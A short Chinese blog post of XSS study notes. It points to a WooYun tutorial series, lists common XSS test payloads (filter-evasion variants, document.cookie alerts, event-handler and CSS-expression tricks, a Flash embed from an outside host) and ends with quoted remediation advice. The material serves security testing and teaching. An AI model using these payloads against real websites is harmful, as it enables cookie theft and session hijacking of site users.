有关XSS的一个系列教程

在乌云发现了一个有关XSS的教程,目前有21篇,够我慢慢儿学的了。

这个系列教程的地址:http://www.wooyun.org/whitehats/心伤的瘦子/page/1

几个常见的语句

<script>alert('xss')</script> //默认形式

<ScrIpT>alert("xss")</SCriPt> //变换大小写

"/><script>alert(document.cookie)</script><!--  // <!-- 表示的意思是 闭合注释

<script>alert(document.cookie)</script><!--

"onclick="alert(document.cookie)

<img src=javascript:alert("xss")></img //变换形式

<img src=j&#97vascript:alert("xss")> //使用ASCII表示

<IMG SRC="jav&#x09;ascript:alert('XSS');" > //插入干扰

<DIV STYLE="expression(alert(163));"> //其他属性

<DIV STYLE="xss:expr/*XSS*/ession(alert(163))"> //再干扰

<img src="#" onerror=alert(/xss/)> //借用事件

<EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>// flash跨站

补充内容

下面的是一篇讲XSS基础原理和使用的文章,写得很好。http://www.cnblogs.com/TankXiao/archive/2012/03/21/2337194.html

其中下面的这段话(也是摘自原文)讲的是《xss漏洞修复》,既是测试有必要关注的测试点,也是开发每每需要留意的地方。

原则: 不相信客户输入的数据
注意:  攻击代码不一定在<script></script>中

    1. 将重要的cookie标记为http only,   这样的话Javascript 中的document.cookie语句就不能获取到cookie了.
    2. 只允许用户输入我们期望的数据。 例如: 年龄的textbox中,只允许用户输入数字。 而数字之外的字符都过滤掉。
    3. 对数据进行Html Encode 处理
    4. 过滤或移除特殊的Html标签, 例如: <script>, <iframe> ,  &lt; for <, &gt; for >, &quot for
    5. 过滤JavaScript 事件的标签。例如 "onclick=", "onfocus" 等等。

原文地址:https://www.cnblogs.com/musicmovie/p/3445246.html